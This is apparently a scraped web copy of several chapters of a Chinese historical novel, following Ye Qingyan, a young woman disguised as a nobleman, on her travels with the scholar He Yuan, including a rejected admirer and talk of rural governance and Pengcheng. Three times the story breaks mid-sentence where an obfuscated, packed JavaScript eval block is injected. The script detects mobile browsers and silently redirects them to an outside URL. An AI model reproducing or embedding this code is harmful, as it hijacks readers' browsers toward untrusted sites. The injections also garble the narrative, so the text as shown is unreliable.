借着灯笼黯淡的光芒,叶青言望着眼前的柳树,脑中莫名想起她与二殿下第一次见面时候的事情。 可明明他们的第一次见面与柳树无任何关系。 那是发生在荷花盛开时候的事了,彼时天气极热,池塘里的青蛙“呱呱”叫个不停。 他们两人在岸上打架,惊跑了池里的青蛙,唤醒了一池碧水,水纹荡漾,唯有池塘中间的青莲始终不为所动,依旧蓬蓬勃勃地盛开着。 他们那时是为什么打架? 叶青言仔细回想,好半晌,才想起是因为殿下说她长得像女孩子…… 回想着往事,叶青言不觉弯起了眼睛,平日藏在沉稳面具下的稚气一下就显现了出来。 她看着还是如平日那般沉稳,却多了一些可亲。 “就要立冬了。”叶青言望着面前光秃秃的垂枝,低低说道,“京城应该快要下雪了吧。” 贺渊没有接话,因为他知晓她并非在对自己讲话,她只是单纯地在感慨。 雨丝缓缓地落着,飘着,如丝如弦。 恰在这时,一阵风来,雨丝骤乱,夜风拂雨,打湿了叶青言秀美的脸庞,面上的冰凉将她从回忆里唤醒。她抬手抹了把脸,同时看了眼身旁的贺渊,有些不好意思地笑了笑。 “雨似乎没有变小。”她说。 这显然是在没话找话,贺渊明白,却没有说破,反而很配合地答道:“听着似乎还大了一些?” 叶青言细细听了一会儿,四周很安静,除了啪啪的雨水声外,没有任何其他声音。她当然没有听出雨变大了,但这不妨碍她顺着接话。 “那咱们快点回吧,时候也不早了。” 贺渊却没有动,他垂眸看着脚下的落叶,突然说道:“桃源村这事儿,对你来说是很简单的一件事,县令此前或许是不想得罪王氏,所以才选择了不继续深究,但若由你出面表示,他定会严治,虽说强龙不压地头蛇,可只是一片田地,王氏不会为此跟县令撕破脸。不过一句话的事情,不想你最后竟将这事交给了都尉司处理。” 他看着叶青言,声音里有很多的感慨。 叶青言没料对方会突然说起这事,怔了一瞬,道:“压价屯田,于国于民,百害而无一利,此火不可助长。” 贺渊听罢,眉梢轻扬,状似不在意道:“不过皮毛小火,又有什么可担忧的?” 叶青言抬眸看了过去,只见面前人嘴角含笑,眼神却分外地专注认真:“现下只是皮毛小火,然风一吹,亦可成滔天大火,若不加以制止,只怕处处都是这样的火势,连在一起,也能一炬成灰……火烧连环船便是这个道理。” 贺渊:“眼下无风,更有秋雨,要灭此火不过举手之事。” “天下之火,若能轻易灭尽,何来那么多引火烧身之事?” 叶青言说这话的时候,秋风从四面吹来,拂动她束起的发丝,却拂不动她秀美脸上哪怕一丝的神情变化。 贺渊挑起的眉眼缓缓落下,取而代之的,是渐渐扬起的唇角,眼中亦流露出欣赏的神情:“公子思虑周全,嘉言佩服。” 叶青言看着他,良久,微微笑了起来,说道:“公子又何尝不是呢?” “哦?”贺渊再次挑眉,“公子这话怎么说?” 叶青言很认真地思考了一段时间,然后说道:“嘉言公子性情高洁,一诺千金,这是很多人都知道的事情。” 贺渊闻言,眉峰扬得更高了。 “这样的嘉言公子就在桃源村里……以你的能为,若有心解决此事,他们又何至于去做山匪?你放任他们那样去做,无非是想借机将事情闹大。” 话至此,叶青言微微一顿,她看着贺渊,四周仍旧安静,只有雨水落下的声音,并不烦心,反添静意。 “公子最后的目的,想来也是南方科考舞弊案所招来的都尉司吧。” 贺渊还是没有说话,但他眼中的赞赏情绪越来越浓。 迎着这样的目光,叶青言始终不卑不亢:“粮种涉及民生,公子既有意仕途,又哪里会任其发展?” 贺渊终于移开了停在叶青言身上的目光,他望着光秃的柳树,长长喟叹了一声:“可惜我力量有限,庆朝疆土辽阔,这样的事情时有发生,若遇上好官,百姓们还能保住田地,若遇上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“装神弄鬼、编写话本、寻佛问道、威逼利诱……看他们吃哪一套,我就用哪一套。” 叶青言很认真地思考了一会儿,点头:“如果我是你,我想我也会那么做。” 一个人的力量始终有限,在无法确定前路的情况下就随便踏步,很容易走进歧途,而贫苦人家是经不起走错路的。 贺渊不知何时又重新看向了叶青言,他笑了起来,整个人带着一种朗月清风般的气质,与周遭的绵绵阴雨格格不入:“其实第一次见你的时候,我就觉得我们很相像,如今你又帮我证实了这一点。” 叶青言一怔,随即微微一笑,道:“能与名震天下的嘉言公子相似,是青言的荣幸。” 贺渊:“你我如今也算相熟,公子不妨唤我一声嘉言,无须如此客气。” 叶青言想了想,颔首:“那我便却之不恭了,嘉言兄也可唤我的表字思砚。” “思归多苦颜。冰痕生砚水。好名字。” 叶青言并不善于寒暄,也不知如何回应,所以她没有接话。 在这种时候突然噤声,会给人一种被忽视的感觉,若是寻常人,会觉得叶青言如此是看不起自己,但妙就妙在,贺渊不是寻常人,就像他刚刚说的,他认为自己跟叶青言很像,所以他对叶青言的沉默很满意,他觉得身边这个少年很平静很朴素很有力量。 贺渊:“雨大了,我们回吧。” “嗯。”叶青言点头。 风雨里,两人继续行走,之后一路,他们都没在说话。 50. 少女心碎 这一场秋雨,时歇时起,落了整整一夜,直至黎明时分才彻底结束。 叶青言罕见地起得晚了。 清晨六时,她才从睡梦中醒来,起身、洗漱、推窗,望着窗外那些被秋雨打湿的微黄落叶,低低叹道:“秋雨敲窗,果然好眠。” 许也是因为这个原因,她这觉睡得极好,比她离开京都后的任何一个夜晚都要睡得好,这让她感到非常满足。 她望着天际初升的朝阳,和村中袅袅升起的炊烟,嘴角不觉微微弯起。 嗅着空气里隐隐传来的食物清香,叶青言缓缓闭起双眼,嘴角弧度也随之愈加上扬。 成熟稳重,这是大部分人对叶青言的最初印象,因为她总是表现得平静,不以物喜不以己悲,也不怎么与他人亲近,只谨守着礼数,便是连笑容都不怎么多。 但她这时笑得很开心,很灿烂,因为她看到了朝阳的美好,也感受到了生活的美妙。 清晨时分,朝阳初升,一个长相秀美的少年,临窗微笑。 这是多美好的一幕。 这样美好的一幕,正正好落进了另一个人的眼中。 唐小妹今日起得极早。 清晨六时,这个时间对于叶青言来说已经算晚,可放在唐小妹身上,就早得有些不可思议了。 唐小妹从小就是个贪睡的,很少早起,可她今日却起得比任何人都要早。 卯时初刻,她就从床上起了来。 昨夜村民暴乱,唐大第一时间安排家丁将唐小妹和唐大嫂两位女眷送上了马车,若局面无法控制,家丁们会先护送她们离开。 好在结果有惊无险,他们同村民们达成了协议。 但为防万一,唐大还是决定第二日一早就启程离开村子,并将叶公子与友人偶遇,可能不会再与他们同路地推测说了出来。 唐小妹听后很是惘然。 他们这就分道扬镳了? 她都还没来得及谢谢“他”的救命之恩…… 因为心里藏着事,所以唐小妹今日起得极早。 她从贴身携带的行囊里翻出自己绣的一只荷包,并带着那只荷包出了房门。 她早早地就候在了院子里,只等叶青言也从房里出来。 她想亲口跟“他”道谢,并将手里的荷包作为谢礼送出。 她知道自己这样的行为不合身份,可她还是这样做了。 她想为自己心底那一丝朦胧的期待争取一次! 然后她看到了少年临窗微笑的这一幕,立如芝兰玉树,笑如朗月入怀,美如冠玉,惊艳非常…… 这美好的一幕深深震撼了唐小妹,成了她往后余生里,最难以忘却的一幅画面。 屋檐有残雨汇聚,落在窗沿上,发出极轻微的啪啪声响,叶青言睁开眼睛,就看到在前方不远站着的唐小妹。 对方正目不转睛地看着自己。 叶青言不是个蠢的,相反,她很聪明,也很敏锐,不过一瞬的功夫,她就将与唐小妹的接触回想了一遍,并从对方的言行判断出她对自己的心意。 这并不是件好事,无论是对她还是对自己。 叶青言看着唐小妹,视线扫过她握在手中的荷包,唇角的笑意就像湖面倒映的影子,被荡起的涟漪揺碎,再找不着哪怕一丁点的痕迹。 她的神情忽然变得非常疏离,甚至有些冷漠。 她抬起手,不卑不亢地朝唐小妹拱手做了个长揖,而后利落地关上窗户。 她必须尽可能地掐断小姑娘放在自己身上的注意力,哪怕这样会伤害到对方。 唐小妹怔怔看着面前关起的窗扇。 对方明明一句话也没有说,态度也始终平静,可她却真真切切地感受到了对方的拒绝。 对方那仿佛躲避洪水猛兽一样的态度,让唐小妹一时无所适从,她的身体也随之变得无比寒冷,无比僵硬,连往前迈一步这样轻而易举的动作都无法做到,一种全然陌生的酸楚刺激着她的心脏。她眨了眨眼,不知何时聚集在眼底的晶莹泪珠,悄然滑落。 其实唐小妹不是没有设想过这种场景,对方碍于男女大防,并不如何理会自己。 按照她当时的想法,若是如此,她会很体面地离开。 可直到这时,她才明白任何提前的设想都是没有意义的,因为现实的她并不如想象中的自己那么豁达,那么有勇气。 现实的她甚至连迈出一步的勇气都没有,只能木讷地站在原地,紧紧地攥着手中的荷包。 晨风轻拂,微有些寒。 唐小妹站在院子中央,低垂着头。 不知过了多长时间,唐大嫂走了过来。 因为昨晚的动乱,唐大嫂是陪唐小妹一起睡的,所以唐小妹今早所有的行为都被她看进了眼里。 唐大嫂没有想过阻止,总是要让小妹彻底死心了才好。 观叶公子言行,及夫君告知的可能背景,他显然不可能会对萍水相逢的自家小妹产生那种意思。 唐大嫂上前,温柔地握住唐小妹的手,语调柔和却极有重度地说道:“小妹,庭院湿寒,万万不可久留。” 万万不可。 唐小妹怔怔听着这四个字。 世间大多事皆是万万不可,尤其是女子,吃什么万万不可,穿什么万万不可,玩什么万万不可,今时今日,又是万万不可。 有那么一刹,唐小妹很想大声反驳大嫂,为何不可?为什么她必须遵守那么多规矩? 但她最终什么也没有说。 “我知道了。” 风再起时,她听见自己的声音被一阵晨风吹散。 “快要启程了。”唐大嫂牵着唐小妹,将她往房间带去,“咱们回去收拾一下,早晨有些凉,马上就要入冬了,等这次贺寿回去,就该穿冬衣了。” 原来已经快冬天了,难怪会这么冷,唐小妹心想。 秋意最深之时,自然便是冬日之时。 唐家一行离开前。 唐氏兄弟特意过来向叶青言辞行。 当然,他们也问了叶青言是否要同他们一起离开,毫无意外地得到了否定的回答。 ——其实今早之前,叶青言并没有想过要在桃源村里停留,事情她都已经交代好了,留下也无益处,至于唐大推测的与故人相遇,结伴而行……她与贺渊并不熟悉,况且他们此前就遇到过,两人都没有要同路的打算。 唐大听了叶青言的拒绝也没有劝说,再次表达了感谢后便离开了。 不过萍水相逢,实不必有过多的牵扯,他们之后想来也不会再见。 车马离开后,小院又重新恢复了安静。 白昼晴暖,阳光如诗。 今日的天气极好,天空蓝得像是用水洗过了一遍,连一片云也没有。 渐渐高升的阳光落在窗子上,映得屋里亮堂堂的。 叶青言从屋内搬了张椅子出来。 在秋高气爽的天气里晒太阳是很舒服的一件事儿,阳光仿佛温暖的斗篷,将人从头到脚都包了个严实。 叶青言靠坐在门柱旁,微仰着头,细细感受着阳光拂面的温度。 村内屋顶上的炊烟还在飘着。 叶青言的视线被炊烟吸引,落在了各处的茅草屋顶上。 久未翻修,不少屋顶的茅草堆里生了许多细细的野草,此时的草叶已经泛黄,结出一穗穗细细的草籽,那穗子毛茸茸的看起来像狗儿的尾巴。 叶青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137894|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言静静看着那些野草,那些炊烟,天是蓝的,光是亮的,烟是缥缈的。 但无论是天,是光,还是烟,都舒展着其广阔的胸怀,缓缓没入远处淡淡的山影之中。 “公子好兴致。”贺渊的声音突然在前方响起。 叶青言闻声看去,朝阳斜斜地照在略有些泥泞的土地上,把贺渊的影子拖得很长。 浮生偷闲,叶青言并不想同人交流,但她也不想失了礼数,所以她还是站了起来,认真地向贺渊行了一礼。 贺渊挑眉,平静地还了一礼。 “公子可是有事?”叶青言问道。 “来给你送早饭的。”贺渊说着,举了举手中的一个油纸包。 叶青言一早就注意到了那个油纸包,闻言倒也没有惊讶:“有劳了。” “知道你没有同那些人一起离开,里正婶子特意做了肉包子让我给你送来。”贺渊说着,将油纸包打开递到叶青言面前。 油纸里包的是两个还冒着热气的白面包子。 说是白面包子,其实也不怎么白,包子的表皮泛着暗黄,叶青言还从没见过这样颜色的包子,一时有些惊讶。 贺渊见状解释道:“这是用陈年的麦子做的,但已经是村民们能给的最好东西了。” 叶青言双手接过包子,道:“替我谢谢他们。” 倒不是叶青言不想亲自上门感谢,只是她明白自己若此时过去感谢,里正等人定会感到不安。 也许她该早些离开村子的,叶青言心想。 贺渊知道叶青言的顾虑,颔首应来。 “婶子手艺不错,你尝尝看。” 贺渊没有多留,将包子送到后,便离开了。 叶青言重新坐了回去,她看着手里的两个包子,这已是村民们能提供的最好东西,却比不上国公府里一个守门小厮平日的吃食。 …… 叶青言咬了一口包子,口感硬邦邦的,吃着有些拉嗓子,里面的馅儿倒是不错,但包子皮太厚,显得馅料不足,也吃不出什么好味道来。 但叶青言并不介意,她一面啃着包子,一面看着前方的村落。 今日的天气是真得很好,阳光明媚耀眼,远远的,她看到有不少妇人将家里的被褥抱出来晾晒,孩子们也从家中跑出来玩耍,男人们则背着锄头去了地里,老人们也如叶青言一般,坐在各自的屋门前晒太阳。 叶青言啃着包子,津津有味看着这些画面。 包子很硬,吃起来很费劲,可到底还是吃完了,叶青言将手中最后一点包子送进嘴里,仔细地咀嚼了三十二下再吞进腹中。 用过了早饭,又在廊下晒了会儿太阳,晒得背上都要出汗了,她才起身进了屋子,收拾行囊。 她得在午饭前离开桃源村,不能再让村民掏空家底招待她了。 离开之前,叶青言招来一个小孩,用一包糕点做筹码,让他去村长家里,将自己已经走了的消息告知给对方。 小孩得了糕点,喜不自胜,一溜烟就往里正家跑去。 叶青言则牵上马,从相反的方向出村。 走出村子,周身温度骤降,阳光还是那般炽烈,但迎面的风却变大了很多。 自北方群山拂来的冷风,在官道上徘徊不去,道路两旁的树木迎风微摇,黄叶再落,看着很是凄凉。 叶青言骑着马,慢慢地往前踱着。 马是世间速度最快的动物之一,即便走的再慢,也要快过其他动物。 约莫一盏茶的功夫,叶青言就看到在前方不紧不慢走着的毛驴。 骑在毛驴上的人,叶青言认识。 他们今早刚刚分别。 这已是他们两人的第三次不期而遇。 51. 巧遇结伴 “公子?”看到毛驴上的人和行囊,叶青言十分惊讶,“你离开村子了?” 贺渊闻声侧首。 是的,骑着毛驴走在叶青言前面的人正是贺渊,他是清晨时分离开的桃源村,因为并不着急赶路,所以他走得很慢。 叶青言也走的很慢,但毛驴的慢又哪里能跟马儿的慢相比?更遑论叶青言的马还是最上等的千里马。 看着阳光下的叶青言,贺渊有些意外,然后展颜笑了起来:“村子的事情已经解决,我自然就离开了。” 微顿了顿,他又道:“我还以为公子你会多留几日。” 明明他们昨夜才说了可互称彼此名姓,可无论是今早还是眼下,他们仍旧以公子相称。 这很奇怪,却又显得十分和谐。 至少当事的两人,都未觉得不妥。 叶青言说:“事情既已解决,那我留不留下,又有什么要紧?” 贺渊闻言,又笑了一笑,笑容依旧灿烂:“就说我们很像,这不,又想到一块去了。” 贺渊是真得很高兴,这种不约而同的感觉很好。 叶青言显然也是同样的想法,因为她也笑了起来,日光满空,照亮她年轻稚嫩的脸,她的笑容很干净,很讨喜。 “要一道走吗?”贺渊向叶青言发出了邀请。 “好啊。”叶青言毫不犹豫地接受了这个邀请。 两人一同拉动手里的缰绳,一个骑着驴快走,一个纵着马慢行,他们保持着一样的速度,缓缓地向前走着。 沉默了会儿,叶青言率先开口道:“孩子们应该很舍不得你吧。” 贺渊没有承认,也没有否认,而是感慨说道:“都是些有上进心的好孩子。” “你离开了,他们还能再学习吗?”叶青言很好奇这个问题,于是她问了出来。 贺渊依旧没有正面回答,说道:“里正是认字的,只是他太忙了,忙着村里的大事。” 话至此,贺渊的脸上流露出淡淡的嘲弄神情:“忙着大人们的大事,自然就顾不上孩子们的小事了。” 叶青言皱了皱眉:“教育从来不是小事。” 贺渊:“你说的不错,所以我留在了村子里,用自己的方法让里正认识到了这一点。” 叶青言微讶:“你留下不是为了田地的事情?” 贺渊闻言,朝叶青言看了过去,同时嘴角上扬,露出一抹迷人的微笑,出口的声音也变得格外明朗好听:“做一件事情,为什么只能有一个目的?” 叶青言一怔,随即了然:“你说得很对。” 沉吟片刻,她又说道:“其实也不怪里长忽视,对于农户人家而言,读书是很奢侈的一件事……” 猝不及防的,叶青言想到了顾逍。 同是农门子弟,顾逍背负着养家重担读书科考,可想而知,过程有多么不容易,可他依旧取得了如今的成就,叶青言心底顿时生出极大的佩服来。 叶青言很少真正地佩服一个人,她看上去谨慎守礼,但事实上,她在很多方面都无来由的绝对自信,这导致部分人在面对她时会产生一种她没有将自己放在眼里的错觉。 薛越之所以这么讨厌叶青言,就是因为这个原因。 除了薛越自己,没人知道他最初其实是想同叶青言交朋友的。 “但读书也是很有用的一件事。”又沉默了良久后,叶青言这样说道。 有风吹拂,带着官道上的落叶到处飘舞。 贺渊看着地上飞舞的落叶,说道:“我一直认为教育的本质是一棵树摇动另一棵树,一朵云推动另一朵云,一个灵魂唤醒另一个灵魂。” 叶青言很喜欢这句话,闻言,她半敛着的眼眸明亮了起来,她转过头,认真地看着贺渊,认真说道:“这话很有道理。” “这话不是我说的,我也是游历途中听一位老夫子说的。”贺渊笑着道。 不知何时,贺渊解下了系在毛驴上的酒囊,他一边喝酒,一边同叶青言说话。 那只皮制的酒囊被他用两根手指悬着,在秋风与阳光里微摆,看着很是潇洒。 “真想也见一见啊。”叶青言叹说,至于她是单纯想见那位老夫子,还是贺渊一路游历所见,就只有她自己知道了。 …… 他们沿着官道一路前行,嘴上随意地说着些陈年闲事,比如盛德安大学士当年如何被贬,比如贺渊一路游历上的有趣见闻。 除了这些旧事,他们当然也会说些最近发生在身边的事情,比如桃源村的桃子有多美味。 提及桃源村的桃子,他们不可避免地又说起了蝗灾,说起了粮种,说起了民生,说起了为天地立心,说起了为生民立命。 绝大多数时间都是贺渊在说话,叶青言只是偶尔回应两句。 在这场闲谈里,贺渊展露出难以想象的见识,言谈间自有万里江山,黎民苍生。 如果叶青言不是林翊的伴读,有足够的机会了解朝廷局势,她甚至都不知怎么搭话。 但也正是因此,而让这场随意地闲谈进行的非常愉快,无论贺渊还是叶青言都很愉快。 叶青言自不必说。 贺渊当然也会感到愉快,因为他已经很久没有这样尽兴地与人交流了。 贺渊少时便读过万卷书,后来又出门游学,走了万里路,无论是学识还是见识,他都不缺。 他是真正的天才,而天才最缺的就是能够明白自己意思的说话对象。 叶青言无疑就是其中一个,虽然她不擅言辞,但偶尔也能和上几句,辩上几句。 随着交谈的时间越长,叶青言越是觉得佩服。 传说中的天才少年,果真不负其盛名。 侃侃而谈的贺渊就像一口至清的潭水,看着很浅,一眼就能望到底,实际却不知其深几许。 这世间究竟有什么事情是他不知道的? 阳光暖媚,秋意深深。 望着前方笔直的官道,叶青言叹道:“宗族自治,乡绅掌权,这于百姓而言,实在不是件好事。” “这也是没有办法的事情。”贺渊说道,“虽说有县令坐镇县衙,可县下还有乡,乡下又有村,偏僻之地,寻路尚且艰难,国法又如何能及?” 叶青言闻言沉默,这个问题她没有办法回答,但她又本能地觉得这样不对。 贺渊看她欲言又止,笑着说道:“国权不下县,县下惟宗族,宗族靠自治,自治靠伦理,伦理出乡绅,自古皆如是。” 叶青言:“长此以往,会出问题的。” 贺渊的眼里出现一抹欣赏的神色,说道:“像你这么清醒的人已经不多了。” 叶青言看了过去:“你也觉得那样不对?” “那样当然不对。”贺渊没说理由,但他说这话时的表情很认真,尽管他嘴角依旧含着笑。 “公子以为此事该做何解?”叶青言问道。 贺渊没有犹豫,道:“修路。” 叶青言一怔,随即笑了起来,仿佛对方此言直接说中了她的心事一般。 贺渊看着她的眼睛,继续道:“交通便利是与外界沟通交流的先决条件,一个人,只有见识得多了,交流得多了,才能开阔眼界,冲破腐朽。” 顿了顿,贺渊笑着再道:“不仅如此,铺桥修路还能带动其他行业的兴盛。” “我曾经也在课上讨论过这个话题。”叶青言笑了起来,眼睛就像春日夜空里的星星,明亮至极。 她还记得那是荀夫子所安排的一节辩道课,论题便是铺桥修路对民有利与否,那也是她和二殿下第一次在荀夫子的辩道会上站在了同一方。 贺渊看着叶青言的眼睛,突然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145426|192617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道:“有没有人说过,你的眼睛很像一面镜子。” 叶青言不明白他的意思,不解地“嗯”了一声。 贺渊没有回答,沉默了会儿,说道:“铜镜可以正衣冠,也可以正心意。”贺渊说着,用两根手指拎着酒囊轻轻摇晃着,“不知为何,看着你的眼睛,我就觉得心情很好。” 叶青言想了想,说道:“因为你的心意始终很正?” 贺渊也想了想,说道:“应该是的。” 话落,两人相视一笑,他们果然是同道中人,如此默契。 此时,此处,应该有酒。 贺渊看了叶青言一眼,递出了手中的酒囊。 叶青言看着那个酒囊,嘴角微僵,说道:“我酒量很不好。” 这是拒绝之意。 贺渊闻言,有些遗憾,但他从来不强劝人饮酒,便收回了酒囊,自己仰头饮了一口,道:“可惜了。” 两人继续往前,谈话也在继续,他们谈论的话题很杂,有故纸堆里的旧事,有阳光下的新鲜事,有国朝大事,也有发生在身旁、脚下的一些小事,比如此时驴蹄马蹄下的杂草何时才会全数凋零。 一路且行且笑且闲谈。 然后,他们走到了一条岔道口前。 官道在这里被分成了三条,往南往西往东。 往南是一条直道,通往彭城。 彭城是距离此地最近的一座城池。从彭城再往南走,可以到扬州,到金陵,那是诗人画师口中的人间仙境。 往西则需翻过不远处的那座大山,渡过淮河,再翻过数座小山,约莫两天时间应该就能看到颍州城的轮廓,当然途中也会有一些小村镇可供歇脚。 往东也有一座山,但山不大,山下也有路,此路通往大庆的最东面。 东面是海,东海,连着东海的那片陆地叫海州,海州是附近最繁华的地方之一,从此处到海州只需走上半日,若是去往那个方向,一路不歇,可在天黑之前抵达海州。 贺渊看着前方的三条岔道,问道:“公子接下来打算往哪走?” 叶青言没有回答,反问道:“公子你呢?” 贺渊笑笑不语,良久,说道:“今日相谈甚欢,你我不如就此分道。” 完全没什么联系的对答,细细品来,却自有一番味道。 叶青言点头:“好。” 二人拱手道别,然后同时拉动缰绳,却是走向了同一个方向。 “真是巧啊。”贺渊笑道。 叶青言也笑:“确实很巧,看来这场谈话还能继续。” 贺渊:“我们刚刚说到哪了?” 叶青言:“说到陈吴起义失败的原因有四个。” 贺渊颔首,竟真又继续说了起来:“?陈吴起义之所以失败,其一是他们缺乏军事经验;其二是任人唯亲、赏罚不明?;其三是骄傲自满、听信谗言?;其四,也是最大的一个错误,是违背诺言?,人无信则不立,他们违背了“苟富贵,无相忘”的诺言,杀死旧时伙伴,最终导致众叛亲离。” 叶青言:“实在难以想象当初那个高喊‘王侯将相宁有种乎’的好汉陈涉最后竟会做出那等背信弃义的事来。” “这只能说明他从来都不是个好汉。” “为何?不能是他变了吗?” “不能。”贺渊答得十分笃定,“能被影响的,从来都不是本质。” 叶青言觉得这句话说的很有道理,其实,贺渊今日说的很多话她都觉得很有道理。 贺渊的话还在继续:“很多人都用变了,用不得已来解释自己的一些无耻行为,可无耻就是无耻,会做无耻的事情,说明他本质就是个无耻的人。” …… 时光渐移,日头也渐移,金灿的太阳渐渐变得高远,然其所散出的光芒的依旧洒满了人间。 52. 彭城茶叙 正午时分,叶青言和贺渊终于来到了彭城外的原野上。 远远能够看到彭城城门的时候,两人就下了代步的坐骑。 他们牵着各自的坐骑,顺着大道,缓缓朝着城门方向走去。 彭城久经风霜的城门在阳光下泛着金黄的颜色,看着很是壮丽。 越是靠近城门,身旁经过的行人越多。 来往的人们大都步履匆匆,他们或背着箩筐,或担着扁担,隐约可以看到里头绿油油一片,想来都是住在附近村子的村民,带着自家种的蔬菜进城来售卖。 当然也有不少长途到此的商旅。 叶青言看着那些衣着朴素的村民,觉得好生奇怪,心想,既然要进城卖菜,他们为什么不早点出门? 贺渊看出叶青言的疑问,解释道:“他们是特意选在正午后进城的,这时候进城的进城费要比早上时候的便宜,彭城对此有明文规定。” 叶青言听了更觉惊讶,诧异道:“进城费?” 她一路南下,经过不知多少城镇,还是第一次听到进城费这一说。 贺渊看了她一眼,道:“彭城是战略要地。” 只这一句,叶青言便明白了。作为坐落在南北交界的第一大城,彭城历来都是兵家必争之地,城内设有大量军事秘地,朝廷对此地的管辖自然要比其他城镇严苛。 这么想着,叶青言抬起头来,目光落向了长长进城队伍前方的城门之上。 直到这时,她才注意到城门上有很多破损的痕迹,尤其是城门边缘的城墙上,刀斧开凿的痕迹尤为明显,但仔细望去,又可以看到上面有更多修补过的印记。 这是一座历经无数战火的城市,古来无数英豪在此留下痕迹。 叶青言看着那些痕迹,良久,才收回了望向城门的目光,想了想,问道:“为何午后进城的费用要低一些?” 贺渊:“午后进城的村民只能在城里停留半日,停留的时间短了,费用自然也要减免一些。” 叶青言:“若有村民借机在城里留宿?” 贺渊看了叶青言一眼,脸上的神情颇有些复杂:“留宿需要银两,彭城内的住宿费用可不便宜,村民们进城是为了赚钱糊口,没有必要,他们不会留宿。” 叶青言:“就没那些个游手好闲的闲汉,趁机进城盗窃?或者其他有心之人。” “偷盗是暴利,若真有那个心,又怎会在乎那么几个进城铜板?”贺渊反问,然不等叶青言回答,他又继续道,“况且彭城内设有宵禁,一更三刻敲响暮鼓,禁止出行,五更三刻敲响晨钟,开禁通行,极少有人能在入夜后出门行窃。” 顿了顿,贺渊又说道:“有那个本事的人,也不会在乎多出那几个进城费。” 叶青言了然,沉默了一瞬,她又开口问了另一个问题:“这应该不是朝廷颁布的政令。” 一个问句,却被她用肯定的语气讲出。 贺渊也点头给予了肯定。 “这是两年前彭城知府张谦到周围村镇视察后亲自颁下的政令。” 叶青言看着贺渊,等着他的后话。 贺渊也没有多卖关子,说道:“彭城依山而建,周围坐落了很多村落,这些村落的村民们种了不少菜,可因着进城费用,他们无法亲自进城贩卖,只能等着菜贩子们前去收菜。” 叶青言是世家子弟,即便她读书万卷,心系百姓,也无法真正体会底层百姓的艰辛,因此她不能理解贺渊口中的“无法亲自进城贩卖”是为何意。 贺渊想来也明白这点,解释道:“进入彭城的进城费是二十文,一扁担的青菜最多也只能卖二十余文,村民们若亲自进城售卖,一天所挣也只够当日进城之用,既如此,又何必走这一遭?” 又是一个反问,叶青言听罢沉默。 贺渊继续道:“附近的村民有菜,城里人有钱,相互供应本是好事,可中间的菜贩子心太黑,他们压价买菜再高价卖出,导致村民们卖不上价,城里人又要花高价购买,在了解了蔬菜的价格和进城费用对于村民的负担后,张知府便颁布了这条政令,这条政令也大大改善了附近村民和城里普通居民们的生活水平。” “因地制宜,体察民苦,张大人高意。”叶青言叹服。 “他确实是位好官,一心为民、奉职循理?,若否今上也不会将他派来此地。”贺渊望着骄阳下的彭城,似乎已经感受到眼前恢弘壮阔的城门之后,人们安居乐业的场景,“我们进城吧。” 叶青言点头。 两人牵着各自的坐骑,缓缓朝着人流走去。 两刻钟后,他们进入到了彭城内部。 彭城里的景象就如贺渊想象的那样,很繁华,很热闹。 街巷相接,四通八达,尤其是那条横穿彭城南北的主街,看着极为宽敞,一点也不比京都的朱雀大街逊色。 但此时,这条街道却显得有些拥挤。 道路两边摆满了各种小摊,有卖菜的,有卖小吃的,甚至还有杂耍的,五花八门,吆喝声与彼此的问候声不绝于耳,人间烟火的气息扑面而至。 两人沿着长街四处逛了逛,又顺道去云龙湖边看了眼著名的白龙石壁,待红日西斜,便在靠近渡口的地方寻了间相对清静的茶楼坐下,稍做歇息,同时品尝?茶博士早间才从云龙湖边采摘的野生茶。 他们坐在茶馆二楼靠窗的雅座上,一边泡茶,一边看着窗外的水光日色。 “这茶不错啊。”叶青言看着手里的茶杯,吃惊道。 茶香浓而不腻,茶味清苦回甘,隐隐还有某种野趣隐藏其间,使人心脾清爽,神智清新。 “午前采茶制茶,午后泡茶饮茶,这本是闵浙一带独有的饮茶文化,后经文人传播,在苏、鲁等地的氏族之间兴起,彭城地处南北交界,来往人员混杂,此饮茶文化一经传至,便迅速传开,随之发展出数不清的茶行茶馆,我们现下所在的这间茶馆就是其中之一。” “云龙湖两岸有很多茶树,看着和普通的灌木无甚区别,但就是这些不起眼的茶树,养活了彭城将近三成的家庭。” 贺渊说着,指着其中一个方向继续道:“每年春时,当地茶商都会举办一场茶会,就在那儿,届时知府和郡守也会亲自与会,受邀汇聚于此的茶商不计其数,所带来的利润更是不可估量。” 叶青言顺着贺渊所指,看向了那个方向,视线尽头是一座五层高的塔。 叶青言看着那座塔,问道:“第一个将此茶文化从闵浙传至此处的,是盛德安学士?” 